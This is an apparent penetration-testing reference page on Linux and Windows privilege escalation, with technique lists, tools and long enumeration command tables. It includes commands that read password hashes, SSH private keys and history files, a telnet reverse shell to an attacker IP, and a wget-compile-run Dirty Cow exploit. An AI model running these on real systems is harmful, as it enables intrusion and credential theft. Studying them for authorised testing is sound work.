Privilege Escalation

Privilege Escalation

Privilege escalation is the process of gaining higher-level permissions or access within a system after an initial foothold has been established. It plays a critical role in post-exploitation, allowing an attacker to move from a limited user account to administrative or root-level access — often enabling lateral movement, persistence, or full system compromise.

Privilege escalation is typically divided into two categories: *vertical escalation* (gaining higher privileges) and *horizontal escalation* (gaining access to resources or accounts of equal privilege).

Privilege escalation is rarely a one-step action — it follows a structured process:

• Collect – Perform thorough enumeration across the system.
• Process – Organize and analyze the data to identify promising leads.
• Search – Identify known vulnerabilities and locate suitable exploit code.
• Adapt – Customize the exploit to match the specific environment.
• Try – Execute and iterate; exploitation often requires trial and error.

Operational Context

Privilege escalation typically follows successful Initial Access, especially when the initial compromise grants access only to limited user accounts.

This phase is crucial for:

• Achieving administrative control (root, SYSTEM)
• Enabling credential extraction and lateral movement
• Bypassing sandboxed or containerized environments
• Establishing persistence mechanisms (e.g., registry, startup tasks)

Vertical Privilege Escalation

Vertical escalation involves moving from a low-privileged account (e.g., www-data, local user) to a higher-privileged one (e.g., Administrator, SYSTEM, or root).

Common Techniques

• Exploiting kernel or driver vulnerabilities
• Abusing misconfigured SUID/SGID binaries (Linux)
• Misusing weak or world-writable service files
• Leveraging unquoted service paths (Windows)
• DLL hijacking or service misconfiguration
• Stealing credentials from memory or config files
• Abusing scheduled tasks or cron jobs
• Exploiting insecure file permissions or ownership
• Leveraging token impersonation or privilege tokens (Windows)
• Dumping and cracking password hashes
• Abusing Linux capabilities (e.g., cap_sys_admin)
• Escaping weakly isolated Docker or LXC containers
• Exploiting insecure ACLs or lack of integrity controls

Tools

• linPEAS (automated privilege escalation enumeration on Linux)
• winPEAS (automated privilege escalation enumeration on Windows)
• Seatbelt (Windows enumeration tool focused on privilege escalation)
• PowerUp (PowerShell tool for Windows privilege escalation)
• Watson (detects privilege escalation vectors on Windows)
• BeRoot (privilege escalation auditor for Linux, MacOS, and Windows)
• Linux Exploit Suggester (suggests kernel exploits)
• Windows Exploit Suggester (suggests local exploits for Windows)
• g0tmi1k's privesc checklist (manual enumeration and exploitation list)

Automated Exploitation Frameworks

• Metasploit (post modules for local privesc on Windows and Linux)
• Exploit-DB SearchSploit (search for local exploits by kernel or OS version)
• Evil-WinRM (post-exploitation over WinRM)

Horizontal Privilege Escalation

Horizontal escalation involves accessing other accounts, sessions, or resources at the same privilege level, typically through impersonation, session hijacking, or misconfigured file access.

Common Techniques

• Reading other users’ sensitive files due to improper permissions
• Accessing SSH keys, config files, or tokens
• Hijacking user sessions (e.g., TTY snooping or credential reuse)
• Exploiting insecure file-sharing configurations (e.g., SMB shares)
• Abuse of API tokens or database credentials found in cleartext

Tools

• pspy (monitors Linux processes to detect privilege-related activity)
• ls -la /home/ (manual check for exposed user data)
• ssh-agent hijacking scripts
• procmon (process monitor for live file and registry activity on Windows)
• mimikatz (extracts passwords, hashes, and tokens from memory)

Enumeration Checklists

Linux Enumeration Commands

Purpose	Command	Potential Use in Privilege Escalation
SUID/SGID binaries	find / -perm -4000 2>/dev/null	May reveal misconfigured binaries that can be exploited for privilege escalation.
Kernel version	uname -a	Identifying vulnerable kernel versions that have known local privilege escalation exploits.
Environment variables	env	May expose sensitive paths or misconfigured variables usable in custom script execution.
Running processes	ps aux	Reveals running services or scripts running as root; useful for process injection or misconfigurations.
Installed packages (Debian)	dpkg -l	Can identify vulnerable software versions or unintended package installs.
Installed packages (Red Hat)	rpm -qa	Same as above, but for RPM-based systems.
Writable directories	find / -writable 2>/dev/null	Writable locations may allow backdoor placement, script replacement, or abuse in cron jobs.
Cron jobs	cat /etc/crontab	Look for jobs running as root or referencing writable scripts.
User info	cat /etc/passwd	Useful for identifying users, shell access, and potential privilege chaining.
Group info	cat /etc/group	Can show membership in sensitive groups like `sudo`, `docker`, or `adm`.
OS version info (Generic)	cat /etc/issue	Helps fingerprint system for targeted exploits.
OS version info (All common release files)	cat /etc/*-release	Same purpose — confirms distro and version for exploit matching.
OS version (Debian based)	cat /etc/lsb-release	Specifically useful for identifying Ubuntu/Debian versions.
OS version (Red Hat based)	cat /etc/redhat-release	Same, but for RHEL/CentOS systems.
Kernel version & architecture	cat /proc/version # Shows detailed kernel version and build info uname -a # Displays all system info including kernel name and architecture uname -mrs # Prints kernel name, version, and hardware name rpm -q kernel # Lists installed kernel packages (RPM-based systems) dmesg | grep Linux # Extracts kernel-related boot messages ls /boot | grep vmlinuz- # Lists available kernel images in /boot	Used to identify kernel-specific vulnerabilities and tailor exploits to system architecture.
Environment configuration files	cat /etc/profile # System-wide environment variables cat /etc/bashrc # System-wide bash shell settings cat ~/.bash_profile # User-specific environment variables cat ~/.bashrc # User-specific bash shell settings cat ~/.bash_logout # Commands run at logout env # Print current environment variables	Can reveal exposed credentials, custom paths, or insecure settings that can be leveraged for privilege escalation.
Printer services	lpstat -a # Lists printers and their status	May indicate running printer daemons or services with elevated privileges that can be misused or are misconfigured.
Running services & privileges	ps aux # Lists all running processes with associated users ps -ef # Alternative view of all processes with full format top # Dynamic real-time process list cat /etc/services # Maps known services to their ports	Helps identify active services and their privilege levels, which may include insecure or unnecessary daemons.
Root-owned services	grep root # Filters running processes owned by root ps -ef | grep root # Alternate full-format view of root-owned processes	Useful for spotting services running as root that may be vulnerable or misconfigured — valuable targets for privilege escalation.
Installed applications & versions	ls -alh /usr/bin/ # Lists applications and binaries in user path ls -alh /sbin/ # Lists system binaries dpkg -l # Lists installed packages (Debian-based systems) rpm -qa # Lists installed packages (RPM-based systems) ls -alh /var/cache/apt/archives # Shows downloaded .deb packages ls -alh /var/cache/yum/ # Shows cached .rpm packages	Reveals software presence and versions — helpful for identifying vulnerable or exploitable programs that may be running.
Service config files	cat /etc/syslog.conf # Syslog daemon configuration cat /etc/chttp.conf # Tiny HTTP server config cat /etc/lighttpd.conf # Lighttpd server config cat /etc/cups/cupsd.conf # Printing service config cat /etc/inetd.conf # Legacy super-server config cat /etc/apache2/apache2.conf # Apache main config (Debian-based) cat /etc/my.conf # MySQL config file cat /etc/httpd/conf/httpd.conf # Apache main config (RHEL-based) cat /opt/lampp/etc/httpd.conf # XAMPP's Apache config ls -aRl /etc/ | awk '$1 ~ /^.*r.*/' # Lists readable files under /etc/ (potential misconfigurations)	Checking these can reveal misconfigured services, overly permissive settings, or vulnerable modules that open attack vectors.
Scheduled jobs	crontab -l # List current user's cron jobs ls -alh /var/spool/cron # View cron job files for users ls -al /etc/ | grep cron # Search for cron-related files ls -al /etc/cron* # List contents of cron directories cat /etc/cron* # Print content of all cron config files cat /etc/at.allow # Users allowed to use 'at' cat /etc/at.deny # Users denied from using 'at' cat /etc/cron.allow # Users allowed to use cron cat /etc/cron.deny # Users denied from using cron cat /etc/crontab # System-wide cron job definitions cat /etc/anacrontab # anacron job scheduler config cat /var/spool/cron/crontabs/root # Root's scheduled cron jobs	Scheduled jobs may reveal tasks running as root, outdated scripts, or writable paths exploitable for privilege escalation.
Plaintext credentials	grep -i user [filename] # Search for 'user' (case-insensitive) grep -i pass [filename] # Search for 'pass' (case-insensitive) grep -C 5 "password" [filename] # Show context around 'password' find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Look for hardcoded credentials in PHP files (e.g., Joomla)	These patterns help uncover stored plaintext usernames or passwords in misconfigured or insecure code and config files.
Network interfaces	/sbin/ifconfig -a # Show all network interfaces and their status cat /etc/network/interfaces # Network config (Debian-based) cat /etc/sysconfig/network # Network config (RHEL-based)	Identifies available network interfaces and reveals if the system is connected to other networks — useful for lateral movement or pivoting.
Network configuration	cat /etc/resolv.conf # Shows DNS servers cat /etc/sysconfig/network # Hostname, default gateway (RHEL-based) cat /etc/networks # Legacy network name mappings iptables -L # Lists firewall rules hostname # Shows system hostname dnsdomainname # Shows domain part of system's FQDN	Helps reveal DNS, gateway, and firewall configuration — can indicate internal network structure and potential egress routes.
Active connections & services	lsof -i # Lists open network connections lsof -i :80 # Check if web service is active grep 80 /etc/services # Maps port 80 to service name netstat -antup # Shows all TCP/UDP connections with PID netstat -antpx # Same with extended process info netstat -tulpn # All listening services with PID chkconfig --list # Lists services and runlevels chkconfig --list | grep 3:on # Services started in runlevel 3 last # Login history of users w # Who is currently logged in	Reveals running services, user activity, and possible internal communication — useful for identifying targets or attack surfaces.
Cached network data	arp -e # ARP table (IP ↔ MAC mappings) route # Kernel routing table /sbin/route -nee # Detailed routing info with interface names	Displays cached IP and MAC addresses and routing paths — may expose other systems on the network or paths for movement.
Shell access & interaction	nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Output (Results) telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the target's system. Use the attacker's IP!	Establishing an interactive shell can allow full control of the compromised system, enabling command execution and data exfiltration.
Tunneling & redirection	ssh -D 127.0.0.1:9050 -N [username]@[ip] # Create SOCKS proxy for local tunneling proxychains ifconfig # Test command routing through proxy	Useful for pivoting through the network or anonymizing outbound traffic via local or remote tunneling.
User identity & privilege	id # Show current user ID and group who # List currently logged-in users w # Show who is logged in and what they are doing last # List recent user logins cat /etc/passwd | cut -d: -f1 # List of system users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }' # Identify superuser accounts awk -F: '($3 == "0") {print}' /etc/passwd # Another way to list UID 0 accounts cat /etc/sudoers # View sudo privileges sudo -l # List current user's sudo rights	Helps determine current privileges, available escalation paths, and visibility of other user accounts on the system.
Sensitive files	cat /etc/passwd # User account information cat /etc/group # Group definitions cat /etc/shadow # Encrypted passwords (requires root) ls -alh /var/mail/ # User mailboxes, may contain sensitive data	These files can expose system users, password hashes, and private data if permissions are misconfigured or access is gained through privilege escalation.
Home directory inspection	ls -ahlR /root/ # Recursively list all files in root's home directory ls -ahlR /home/ # Recursively list all user home directories	May reveal leftover files, misconfigured permissions, SSH keys, or credentials stored in plaintext.
Password storage in known files	cat /var/apache2/config.inc # May contain hardcoded database credentials cat /var/lib/mysql/mysql/user.MYD # Raw MySQL user table data cat /root/anaconda-ks.cfg # Kickstart config file, often contains root password in plaintext	These locations may store sensitive data such as database passwords or install-time credentials.
User activity & command history	cat ~/.bash_history # Shell command history cat ~/.nano_history # Nano editor history cat ~/.atftp_history # atftp client history cat ~/.mysql_history # MySQL client history cat ~/.php_history # PHP interactive shell history	Reviewing history files can expose credentials, database access, or other sensitive commands typed by the user.
Local user information	cat ~/.bashrc # User shell configuration cat ~/.profile # User environment profile cat /var/mail/root # Root user's email inbox cat /var/spool/mail/root # Another root mail location	These files may reveal environmental setups, messages with credentials, or scripts executed at login.
SSH key & config files	cat ~/.ssh/authorized_keys # Allowed public keys for login cat ~/.ssh/identity.pub # Public key used for SSH auth cat ~/.ssh/identity # Private key (sensitive) cat ~/.ssh/id_rsa.pub # RSA public key cat ~/.ssh/id_rsa # RSA private key cat ~/.ssh/id_dsa.pub # DSA public key cat ~/.ssh/id_dsa # DSA private key cat /etc/ssh/ssh_config # SSH client configuration cat /etc/ssh/sshd_config # SSH daemon configuration cat /etc/ssh/ssh_host_dsa_key.pub # Host DSA public key cat /etc/ssh/ssh_host_dsa_key # Host DSA private key cat /etc/ssh/ssh_host_rsa_key.pub # Host RSA public key cat /etc/ssh/ssh_host_rsa_key # Host RSA private key cat /etc/ssh/ssh_host_key.pub # Legacy host public key cat /etc/ssh/ssh_host_key # Legacy host private key	These files may expose private SSH keys, login credentials, or insecure configurations that enable unauthorized access.
Writable config files in /etc/	awk '$1 ~ /^.*w.*/' 2>/dev/null # World-writable files in /etc/ ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner-writable files ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group-writable files ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other-writable files find /etc/ -readable -type f 2>/dev/null # All readable files in /etc/ find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Readable top-level files only	Writable configuration files may allow privilege escalation by altering service behavior or execution paths.
Contents of /var/	ls -alh /var/log # Logs from services and the system ls -alh /var/mail # Mailboxes for users ls -alh /var/spool # Scheduled tasks, print queues, and mail spools ls -alh /var/spool/lpd # Line printer daemon data ls -alh /var/lib/pgsql # PostgreSQL data directory ls -alh /var/lib/mysql # MySQL database directory cat /var/lib/dhcp3/dhclient.leases # DHCP lease information	These directories may hold logs, mail, databases, or cached network info that could leak sensitive data or credentials.
Web directories and config files	ls -alhR /var/www/ # Default web root on many systems ls -alhR /srv/www/htdocs/ # SUSE/openSUSE web root ls -alhR /usr/local/www/apache22/data/ # FreeBSD Apache web root ls -alhR /opt/lampp/htdocs/ # XAMPP web root ls -alhR /var/www/html/ # Common web root (e.g. CentOS, Ubuntu)	Useful for discovering exposed config files, credentials, or sensitive content in hosted web applications.
Log file inspection	cat /etc/httpd/logs/access_log # Apache access log cat /etc/httpd/logs/access.log # Apache access log alt path cat /etc/httpd/logs/error_log # Apache error log cat /etc/httpd/logs/error.log # Apache error log alt path cat /var/log/apache2/access_log # Apache2 access log cat /var/log/apache2/access.log # Apache2 access log alt path cat /var/log/apache2/error_log # Apache2 error log cat /var/log/apache2/error.log # Apache2 error log alt path cat /var/log/apache/access_log # Apache access log (alt) cat /var/log/apache/access.log # Apache access log (alt) cat /var/log/auth.log # Authentication events cat /var/log/chttp.log # cHTTP log cat /var/log/cups/error_log # Printer service log cat /var/log/dpkg.log # Package installation log (Debian) cat /var/log/faillog # Failed login attempts cat /var/log/httpd/access_log # Apache access log cat /var/log/httpd/access.log # Apache access log cat /var/log/httpd/error_log # Apache error log cat /var/log/httpd/error.log # Apache error log cat /var/log/lastlog # Last login of all users cat /var/log/lighttpd/access.log # Lighttpd access log cat /var/log/lighttpd/error.log # Lighttpd error log cat /var/log/lighttpd/lighttpd.access.log # Lighttpd alt access log cat /var/log/lighttpd/lighttpd.error.log # Lighttpd alt error log cat /var/log/messages # General system messages cat /var/log/secure # Security/authentication log cat /var/log/syslog # System log (Ubuntu, Debian) cat /var/log/wtmp # Login history (binary format) cat /var/log/xferlog # FTP file transfer log cat /var/log/yum.log # YUM package manager log cat /var/run/utmp # Current logins (binary format) cat /var/webmin/miniserv.log # Webmin log cat /var/www/logs/access_log # Apache access log (within web root) cat /var/www/logs/access.log # Apache access log (within web root) ls -alh /var/lib/dhcp3/ # DHCP lease and config files ls -alh /var/log/postgresql/ # PostgreSQL logs ls -alh /var/log/proftpd/ # FTP server logs ls -alh /var/log/samba/ # SMB service logs	Reviewing log files may reveal usernames, passwords, visited URLs, session tokens, or useful paths for local file inclusion (LFI) or privilege escalation.
Shell escape techniques	python -c 'import pty;pty.spawn("/bin/bash")' # Spawn interactive bash shell via Python echo os.system('/bin/bash') # Execute bash from within echo/os.system() /bin/sh -i # Interactive shell via /bin/sh	Useful for escaping restricted shells or limited environments to gain a fully interactive session.
Mounted file-systems	mount # Show all currently mounted file systems df -h # Show disk usage in human-readable format	Reveals mounted volumes, file systems, and potential writable targets for persistence or data access.
Unmounted file-systems	cat /etc/fstab # Configuration file for disk mounting at boot	Shows devices intended for mounting — may reveal hidden partitions, backup volumes, or encrypted containers.
Advanced file permissions	find / -perm -1000 -type d 2>/dev/null # Sticky bit directories (e.g., /tmp) find / -perm -g=s -type f 2>/dev/null # Files with SGID set find / -perm -u=s -type f 2>/dev/null # Files with SUID set find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID files for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Search *bin dirs for SGID/SUID find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null # Deep search for SUID/SGID, exclude symlinks	SUID/SGID/sticky permissions are a common source of privilege escalation vectors, especially on older systems or misconfigured apps.
Writable & executable directories	find / -writable -type d 2>/dev/null # World-writable directories find / -perm -222 -type d 2>/dev/null # Directories with write permission for anyone find / -perm -o w -type d 2>/dev/null # Same: world-writeable directories find / -perm -o x -type d 2>/dev/null # World-executable directories find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # Directories writable & executable by anyone	Identifies folders where an attacker can drop binaries or scripts for execution — commonly abused for persistence and privilege escalation.
Problematic files & ownership	find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # World-writable dirs without sticky bit find /dir -xdev \( -nouser -o -nogroup \) -print # Files with no valid user/group owner	These can indicate misconfigured permissions, abandoned files, or opportunities to tamper with files belonging to no defined user.
Available dev tools & languages	find / -name perl* # Locate Perl installations find / -name python* # Locate Python interpreters find / -name gcc* # Locate GNU Compiler Collection binaries find / -name cc # Locate C compiler	Identifying available programming environments allows exploit code to be compiled or interpreted locally — essential for privilege escalation via code execution.
File upload capabilities	find / -name wget # Check for file download via wget find / -name nc* # Netcat binaries find / -name netcat* # Alternative name for Netcat find / -name tftp* # TFTP client find / -name ftp # Basic FTP client	Discovering which tools are present for file transfer helps determine how exploits, scripts, or reverse shells can be delivered to the system.

Windows Enumeration Commands

Purpose	Command
Whoami and privileges	whoami /priv
Local groups	net localgroup administrators
Services (CMD)	sc query
Services (PowerShell)	Get-Service
Startup registry keys	reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled tasks	schtasks /query
Installed programs	wmic product get name
Environment variables	set
File permissions (CMD)	icacls
File permissions (Sysinternals)	accesschk

Example: Local Kernel Exploit (Linux)

# Download and compile local privilege escalation exploit (example: Dirty Cow variant)
wget https://www.exploit-db.com/download/40839 -O exploit.c
gcc exploit.c -o exploit
./exploit

# Output: spawns root shell if successful

Websites & References

• GTFOBins (trusted repo of SUID/privilege escalation via Linux binaries)
• LOLBAS (Living Off The Land Binaries and Scripts for Windows privilege escalation)
• hacktricks.xyz (comprehensive privilege escalation techniques for Linux and Windows)
• PEASS-ng GitHub (official PEAS suite repository)
• FuzzySecurity Windows Privesc Guide
• rebootuser's Linux privesc cheat sheet

See Also

• Initial Access
• Linux Post-Exploitation
• Windows Post-Exploitation
• Persistence
• Credential Dumping
• Exploitation Tools